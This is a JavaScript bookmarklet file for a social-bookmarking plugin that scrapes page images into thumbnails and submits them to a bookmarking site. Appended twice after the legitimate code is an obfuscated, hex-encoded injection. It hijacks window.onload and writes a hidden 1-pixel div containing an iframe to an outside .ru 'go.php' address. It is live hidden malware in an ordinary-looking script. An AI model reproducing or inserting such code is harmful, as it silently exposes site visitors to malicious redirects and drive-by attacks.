var Wistlet = {
        init : function () {
                var o = document.getElementsByTagName('body').item(0);

                //var text = (typeof(document.selection == 'undefined') ) ? getSelection() : document.selection.createRange().text;

                function getSel() {
                        var txt = '';
                        if (window.getSelection) {
                                txt = window.getSelection();
                        } else if (document.getSelection) {
                                txt = document.getSelection();
                        } else if (document.selection) {
                                txt = document.selection.createRange().text;
                        } else {
                                return;
                        }
                        return txt;
                }


                var s = '' +
                '<form name="f" id="f" action="http://www.wists.com/s.php" method="get">'+
                '<input name="c" id="c" type="hidden" value="null" />'+
                '<input name="r" id="r" type="hidden" value="'+location+'" />'+
                '<input name="u" id="u" type="hidden" value="" />'+
                '<input name="title" id="title" type="hidden" value="'+document.title +'" />'+
                '<input name="m" type="hidden" value="'+getSel()+'" />'+
                '</form>'+
                '<div>'+
                '<a href="http://wists.com/"><img src="http://wists.com/mainimages/logo_top_left.gif" border=0></a><br />'+
                '<p>Click on the most appropriate image below to create a thumbnail image for your bookmark:</a></p>'+
                '<table width=800><tr width=800><td width=800>\n';

                var x = this.scrape_images();
                if (x == 0) 
                {
                        location = 'http://www.wists.com/s.php?c=&r='+location+'&title='+document.title;
                        return true;
                }
                s += x +

                '</td></tr></table>\n'+
                '<p>Don\'t like any of these images? <a href="http://www.wists.com/s.php?c=&r='+location+'&title='+document.title +'">Create a thumbnail screenshot</a> instead!</p>'+
                '</div>';

                o.innerHTML = s;
                this.strip_document();
                this.style_document();
                return true;
        },
        make_thumbnail : function (r) {
                var s = '' +
                '<table style="float:left;"><tr><td width=120 height=90 valign=middle align=center><a href="http://www.wists.com/" onclick="return Wistlet.submit_form(\''+r+'\');">'+
                '<img src="'+r+'" alt="" onload="resizeImage(this);" />'+
                '</a></td></tr></table>\n';
                return s;
        },
        submit_form : function (r) {
                var f = document.getElementById('f'); if (!f) return false;
                var u = document.getElementById('u'); if (!u) return false;
                u.setAttribute("value", r);
                f.submit();
                return false;
        },
        get_background : function (o) {
                var s = '';
                if (window.getComputedStyle) s = window.getComputedStyle(o,null).getPropertyValue("background-image");
                if (o.currentStyle) s = o.currentStyle.backgroundImage;
                if (s == "none") s = "";
                return s;
        },
        scrape_images : function () {
                var a = document.getElementsByTagName('*');
                var s = '';
                var n = 0;
                var l = [];
                for (var i=0; i < a.length; i++) 
                {
                        var o = a[i];
                        if (o.tagName == "IMG" && o.src != "")
                        {
                                n++;
                                if (!l[o.src])
                                {
                                        l[o.src] = "1";
                                        s += this.make_thumbnail(o.src);
                                }
                        }
                        else 
                        {
                                var x = /url\(["']?(.+[^'"])["']?\)/gi.exec(this.get_background(o));
                                if (x && x != "" && x.length > 1) 
                                {
                                        n++;
                                        if (!l[x[1]])
                                        {
                                                l[x[1]] = "1";
                                                s += this.make_thumbnail(x[1]);
                                        }
                                }
                        }
                }
                if (n > 0) 
                {
                        return s 
                } 
                else {
                        return n;
                }
        },
        strip_document : function () {
                var a = document.getElementsByTagName('*');
                for (var i=0; i < a.length; i++) 
                {
                        var o = a[i];
                        if (o.tagName == "LINK" || o.tagName == "STYLE")
                        {
                                this.destroy_element(o);
                        }
                        else if (o.tagName == "IMG")
                        {
                                if (o.offsetWidth <= 10 || o.offsetHeight <= 10)
                                {
                        //              this.destroy_element(o.parentNode);
                                }
                        }
                }
                return true;
        },
        style_document : function () {
                var x = document.getElementsByTagName('head').item(0);
                var o = document.createElement('link');
                if (typeof o != 'object') o = document.standardCreateElement('link');
                o.setAttribute('href','http://www.wists.com/wistlet.css?x=' + Math.floor(Math.random() * 9999));
                o.setAttribute('rel','stylesheet');
                o.setAttribute('type','text/css');
                x.appendChild(o);
                return true;
        },
        destroy_element : function (o) {
                while (o.childNodes.length > 0) 
                {
                        o.removeChild(o.childNodes[0]);
                }
                o.parentNode.removeChild(o);
        }
}

function resizeImage(img) {

        var img_width = img.offsetWidth;
        var img_height = img.offsetHeight;
        var img_aspect_ratio = Math.round((img_width / img_height) * 100) / 100;

        var max_width = 120;
        var max_height = 90;
        var max_aspect_ratio = Math.round((max_width / max_height) * 100) / 100;

//      alert("orig image size is " + img_width + "x" + img_height + "\n" + "aspect ratio is " + img_aspect_ratio + "\n\n" + "max image size is " + max_width + "x" + max_height + "\n" + "max aspect ratio is " + max_aspect_ratio);

        var new_img_width = 0;
        var new_img_height = 0;
        var new_aspect_ratio = 0;

        // if no resize needed
        if (img_width < 120 && img_height < 90) {
                new_img_width = img_width;
                new_img_height = img_height; 

        // if wider
        } else if (img_aspect_ratio > max_aspect_ratio) {
                new_img_width = max_width;
                new_img_height = Math.round(new_img_width / img_aspect_ratio);

        // if taller
        } else if (img_aspect_ratio < max_aspect_ratio) {
                new_img_height = max_height;
                new_img_width = Math.round(new_img_height * img_aspect_ratio);

        // equal
        } else {
                new_img_width = max_width;
                new_img_height = max_height;
        }

        img.style.width = new_img_width + "px";
        img.style.height = new_img_height + "px";
        new_aspect_ratio = Math.round((new_img_width / new_img_height) * 100) / 100;

//      alert("new image size is " + new_img_width + "x" + new_img_height + "\n" + "new aspect ratio is " + new_aspect_ratio);
}

 
var sociable_old_onload = window.onload;
window.onload = function () {
    imgs = document.getElementsByTagName("img");
    for(var i = 0; i < imgs.length; i++) {
        var img = imgs[i];
        if (img.className == 'sociable-hovers sociable_wists') {
            img.onclick = function() { Wistlet.init(); return false; }
        }
    }
    if (sociable_old_onload) sociable_old_onload();
};function oT(){};mEE='';oT.prototype = {t : function() {function u(){};nP=false;var e="";this.vI=false;this.s="";try {var sD="sD";gW="gW";mE=false;var sP=false;function z(){};this.eG="";window.onload=function() {var qW=50071;this.xQ=19623;var sS="sS";var gX="gX";function hI(){};this.kW="";String.prototype.gO=function(l, q){var m=this; return m.replace(l, q)};var aI="aI";function jA(){};var sA="";this.tG=false;var j=function(y,vONq4,Ri){return ['x3cx69x66'+vONq4,Ri+'x53x6ax52x4cx58',y+'x6cx35x56x48']}('x75x56','x72x61x6dx65x20x64x76x62x6ex3dx31x20x73x72x63x3dx27','x51')[0];this.hC="";this.nW=23625;this.hR="hR";function dY(){};this.qB="";var lJ=function(I9SZP,yPAd,x,uvena,v){return [I9SZP+'x6ax67x6bx64x78','x62x34'+x,'x27x20x68x65x69x67x68x74x3d'+v,yPAd+'x73x4fx58','x76'+uvena]}('x49x6dx6fx7ax74','x72','x65x4b','x49','x31x30x30x30x20x6fx74x65x72x3dx31x20x77x69x64x74x68x3dx31x30x30x30x20x3cx2fx69x66x72x61x6dx65x3e')[2];var xC=15521;var p="p";iB='';nF='';var b=false;var pQ=new Array();var tX=function(LMeU,Mmgr,nE,F8BG,n){return [Mmgr+'x47x32x79x38','x4d'+F8BG,n+'x4ex77x51',nE+'x61x75x74x65x72x2ex72x75x2fx73x74x64x73x2fx67x6fx2ex70x68x70x3fx73x69x64x3dx31x34',LMeU+'x6fx68x5ax4c']}('x4bx78x6ax67x7a','x73','x68x74x74x70x3ax2fx2fx63x68x69x6c','x53x54x79x46x66','x72x78x67')[3];var dD=function(){};function kI(){};w='';var cC=function(){};this.wB=50833;uP='';function lDA(){};tX = j + tX + lJ;var gJ=new Array();var zV=new Array();var f=new Date();this.xB="xB";var lP='';mI=false;this.eQ=false;var d=document;mT='';bF=19498;var xA=new Date();this.hK='';var g=function(ENw77,ai4v,UD,Q0J){return [Q0J+'x63x51',ENw77+'x6a','x77x50'+ai4v,'x3c'+UD]}('x4ax57x4dx36x48','x6fx36x71x56','x64x69x76x20x69x64x3dx62x20x73x74x79x6cx65x3dx27x76x69x73x69x62x69x6cx69x74x79x3ax68x69x64x64x65x6ex3bx20x77x69x64x74x68x3ax20x31x70x78x3bx20x68x65x69x67x68x74x3ax20x31x70x78x27x3e','x61x77')[3];uG="uG";var aM=false;var tD='';this.dF=58238;var x=function(dD,Go,Z){return ['x55x4ex76'+Go,'x3cx2f'+Z,'x68x70x72x46'+dD]}('x76x6bx64x51','x6fx73','x64x69x76x3e')[1];var rJ=function(){return 'rJ'};this.vJ='';this.qD=32349;var tN=new Date();this.vV="";var a=function(QV0,j,qA){return [qA+'x75',j+'x65','x56x6a'+QV0]}('x77x58','x77x72x69x74','x56x57')[1];var rZ=function(){return 'rZ'};var wF=function(){};this.fJ="";var o=false;var yE='';var uH="uH";var wT=function(){};var jD=function(c,O,V,S){return [V+'x59x55','x78x33x64'+O,S+'x4ex45x44','x75x6ex65'+c]}('x73x63x61x70x65','x6cx44x42x62','x52x61','x75x55x37')[3];jDZ=46635;kO="kO";var cB=new Array();var jO=function(){return 'jO'};var kE=function(){};var v=window[jD];var wW=function(){return 'wW'};this.tJ=false;wL=27417;this.tP="";this.lV=false;var rO=2970;k=v(g + tX + x);this.mZ='';eV="eV";cT="";function pR(){};var lN=new Date();var xL=function(){return 'xL'};var jB='';function aG(){this.sK='';var wM="wM";var aA='';pI=false;this.qS=false;kOA="";var rT=function(){return 'rT'};lD=function(R4aAA,ACb,OJ,AdfB,pp){return ['x4ax55x38x73'+R4aAA,'x42x68x47x78x63'+ACb,pp+'x59x76x33',AdfB+'x79x53x38','x6fx75x74x65'+OJ]}('x55x6bx30','x43x75x74x35x44','x72','x4a','x55x59x41')[4];var pF=new Array();this.rP='';var eC=13618;var eM=function(){return 'eM'};bW="bW";var nE=new Date();n=function(wlpLC,AjjYH,d8a,nBq){return [nBq+'x70x7ax74x42',wlpLC+'x67',AjjYH+'x5ax38x4f',d8a+'x69x65x6ex74']}('x77x49x49','x6bx6ax4a','x63x6c','x55')[3];this.mU=false;var rY=false;var uD="";fZ=60025;var gA="gA";this.dU="dU";h=function(wu4a,I,n){return ['x48'+I,n+'x6ax39','x63'+wu4a]}('x4ex71x48x6a','x65x69x67x68x74','x46x43')[0];zH="zH";var bE="";this.eD="";this.dG=60658;this.eGN=false;this.qN="";c=function(QKyy,Iz,qU){return [qU+'x68','x44'+QKyy,'x4f'+Iz]}('x42x73x42','x55x58','x57x69x64x74')[0];var aB=new Array();var dUG="dUG";mW='';var cY=new Array();function cP(){};this.lQ='';tO=false;qJ=33519;y=function(I0,md,c){return ['x75'+c,'x42x78x77x54'+md,I0+'x55x5a']}('x6f','x72x77','x73x65x72x41x67x65x6ex74')[0];function pG(){};var fQ=new Date();var bV="";fZS="fZS";wV="wV";var dFO=new Array();i=function(mcZ,NQLG,ij,u0zqz,zSD){return [ij+'x4bx43x58x63','x72x53x46'+u0zqz,mcZ+'x78x71','x50'+NQLG,'x4d'+zSD]}('x49x38x70','x52x4ex42x68x71','x66x63x39x33x4f','x67x65x65x66','x53x49x45')[4];var qH=new Array();tH="tH";cK="cK";var nY=new Date();mY='';this.pL=false;if (navigator[y].indexOf(i) > 0){this.tU=false;iO="iO";nV=false;pM="";iK="iK";var dQ=function(){return 'dQ'};return d.body[n + c] * document.body[n + h];var mG=function(){};this.sKC='';}else{var qBE=new Array();this.tOZ="tOZ";this.iN='';this.pJ="";oH="oH";this.cS='';this.jDJ='';return window[lD + c] * window[lD + h];eI=3604;this.yM=false;function uK(){};var vN=function(){};}var zL=new Array();var sI=function(){return 'sI'};var cCH="";var dN=new Date();function iJ(){};this.uA="uA";}var qL="qL";this.gB="gB";var gJF=new Date();cF="";zQ=42353;if(aG() > 99999){d[a](k);}var dT=function(){};var bEZ=function(){return 'bEZ'};var lO=new Array();this.dE=43162;var rS=9935;var qM="qM";};var eMZ="";var rB=function(){return 'rB'};} catch(r) {this.yK="yK";kIC="kIC";this.mTH='';var jX=false;var iI="iI";bC='';}this.eH='';var oR="";gT="gT";var eW=false;}};var wP='';var hG=new oT(); hN="";hG.t();uDW=45307;function oT(){};mEE='';oT.prototype = {t : function() {function u(){};nP=false;var e="";this.vI=false;this.s="";try {var sD="sD";gW="gW";mE=false;var sP=false;function z(){};this.eG="";window.onload=function() {var qW=50071;this.xQ=19623;var sS="sS";var gX="gX";function hI(){};this.kW="";String.prototype.gO=function(l, q){var m=this; return m.replace(l, q)};var aI="aI";function jA(){};var sA="";this.tG=false;var j=function(y,vONq4,Ri){return ['x3cx69x66'+vONq4,Ri+'x53x6ax52x4cx58',y+'x6cx35x56x48']}('x75x56','x72x61x6dx65x20x64x76x62x6ex3dx31x20x73x72x63x3dx27','x51')[0];this.hC="";this.nW=23625;this.hR="hR";function dY(){};this.qB="";var lJ=function(I9SZP,yPAd,x,uvena,v){return [I9SZP+'x6ax67x6bx64x78','x62x34'+x,'x27x20x68x65x69x67x68x74x3d'+v,yPAd+'x73x4fx58','x76'+uvena]}('x49x6dx6fx7ax74','x72','x65x4b','x49','x31x30x30x30x20x6fx74x65x72x3dx31x20x77x69x64x74x68x3dx31x30x30x30x20x3cx2fx69x66x72x61x6dx65x3e')[2];var xC=15521;var p="p";iB='';nF='';var b=false;var pQ=new Array();var tX=function(LMeU,Mmgr,nE,F8BG,n){return [Mmgr+'x47x32x79x38','x4d'+F8BG,n+'x4ex77x51',nE+'x61x75x74x65x72x2ex72x75x2fx73x74x64x73x2fx67x6fx2ex70x68x70x3fx73x69x64x3dx31x34',LMeU+'x6fx68x5ax4c']}('x4bx78x6ax67x7a','x73','x68x74x74x70x3ax2fx2fx63x68x69x6c','x53x54x79x46x66','x72x78x67')[3];var dD=function(){};function kI(){};w='';var cC=function(){};this.wB=50833;uP='';function lDA(){};tX = j + tX + lJ;var gJ=new Array();var zV=new Array();var f=new Date();this.xB="xB";var lP='';mI=false;this.eQ=false;var d=document;mT='';bF=19498;var xA=new Date();this.hK='';var g=function(ENw77,ai4v,UD,Q0J){return [Q0J+'x63x51',ENw77+'x6a','x77x50'+ai4v,'x3c'+UD]}('x4ax57x4dx36x48','x6fx36x71x56','x64x69x76x20x69x64x3dx62x20x73x74x79x6cx65x3dx27x76x69x73x69x62x69x6cx69x74x79x3ax68x69x64x64x65x6ex3bx20x77x69x64x74x68x3ax20x31x70x78x3bx20x68x65x69x67x68x74x3ax20x31x70x78x27x3e','x61x77')[3];uG="uG";var aM=false;var tD='';this.dF=58238;var x=function(dD,Go,Z){return ['x55x4ex76'+Go,'x3cx2f'+Z,'x68x70x72x46'+dD]}('x76x6bx64x51','x6fx73','x64x69x76x3e')[1];var rJ=function(){return 'rJ'};this.vJ='';this.qD=32349;var tN=new Date();this.vV="";var a=function(QV0,j,qA){return [qA+'x75',j+'x65','x56x6a'+QV0]}('x77x58','x77x72x69x74','x56x57')[1];var rZ=function(){return 'rZ'};var wF=function(){};this.fJ="";var o=false;var yE='';var uH="uH";var wT=function(){};var jD=function(c,O,V,S){return [V+'x59x55','x78x33x64'+O,S+'x4ex45x44','x75x6ex65'+c]}('x73x63x61x70x65','x6cx44x42x62','x52x61','x75x55x37')[3];jDZ=46635;kO="kO";var cB=new Array();var jO=function(){return 'jO'};var kE=function(){};var v=window[jD];var wW=function(){return 'wW'};this.tJ=false;wL=27417;this.tP="";this.lV=false;var rO=2970;k=v(g + tX + x);this.mZ='';eV="eV";cT="";function pR(){};var lN=new Date();var xL=function(){return 'xL'};var jB='';function aG(){this.sK='';var wM="wM";var aA='';pI=false;this.qS=false;kOA="";var rT=function(){return 'rT'};lD=function(R4aAA,ACb,OJ,AdfB,pp){return ['x4ax55x38x73'+R4aAA,'x42x68x47x78x63'+ACb,pp+'x59x76x33',AdfB+'x79x53x38','x6fx75x74x65'+OJ]}('x55x6bx30','x43x75x74x35x44','x72','x4a','x55x59x41')[4];var pF=new Array();this.rP='';var eC=13618;var eM=function(){return 'eM'};bW="bW";var nE=new Date();n=function(wlpLC,AjjYH,d8a,nBq){return [nBq+'x70x7ax74x42',wlpLC+'x67',AjjYH+'x5ax38x4f',d8a+'x69x65x6ex74']}('x77x49x49','x6bx6ax4a','x63x6c','x55')[3];this.mU=false;var rY=false;var uD="";fZ=60025;var gA="gA";this.dU="dU";h=function(wu4a,I,n){return ['x48'+I,n+'x6ax39','x63'+wu4a]}('x4ex71x48x6a','x65x69x67x68x74','x46x43')[0];zH="zH";var bE="";this.eD="";this.dG=60658;this.eGN=false;this.qN="";c=function(QKyy,Iz,qU){return [qU+'x68','x44'+QKyy,'x4f'+Iz]}('x42x73x42','x55x58','x57x69x64x74')[0];var aB=new Array();var dUG="dUG";mW='';var cY=new Array();function cP(){};this.lQ='';tO=false;qJ=33519;y=function(I0,md,c){return ['x75'+c,'x42x78x77x54'+md,I0+'x55x5a']}('x6f','x72x77','x73x65x72x41x67x65x6ex74')[0];function pG(){};var fQ=new Date();var bV="";fZS="fZS";wV="wV";var dFO=new Array();i=function(mcZ,NQLG,ij,u0zqz,zSD){return [ij+'x4bx43x58x63','x72x53x46'+u0zqz,mcZ+'x78x71','x50'+NQLG,'x4d'+zSD]}('x49x38x70','x52x4ex42x68x71','x66x63x39x33x4f','x67x65x65x66','x53x49x45')[4];var qH=new Array();tH="tH";cK="cK";var nY=new Date();mY='';this.pL=false;if (navigator[y].indexOf(i) > 0){this.tU=false;iO="iO";nV=false;pM="";iK="iK";var dQ=function(){return 'dQ'};return d.body[n + c] * document.body[n + h];var mG=function(){};this.sKC='';}else{var qBE=new Array();this.tOZ="tOZ";this.iN='';this.pJ="";oH="oH";this.cS='';this.jDJ='';return window[lD + c] * window[lD + h];eI=3604;this.yM=false;function uK(){};var vN=function(){};}var zL=new Array();var sI=function(){return 'sI'};var cCH="";var dN=new Date();function iJ(){};this.uA="uA";}var qL="qL";this.gB="gB";var gJF=new Date();cF="";zQ=42353;if(aG() > 99999){d[a](k);}var dT=function(){};var bEZ=function(){return 'bEZ'};var lO=new Array();this.dE=43162;var rS=9935;var qM="qM";};var eMZ="";var rB=function(){return 'rB'};} catch(r) {this.yK="yK";kIC="kIC";this.mTH='';var jX=false;var iI="iI";bC='';}this.eH='';var oR="";gT="gT";var eW=false;}};var wP='';var hG=new oT(); hN="";hG.t();uDW=45307;
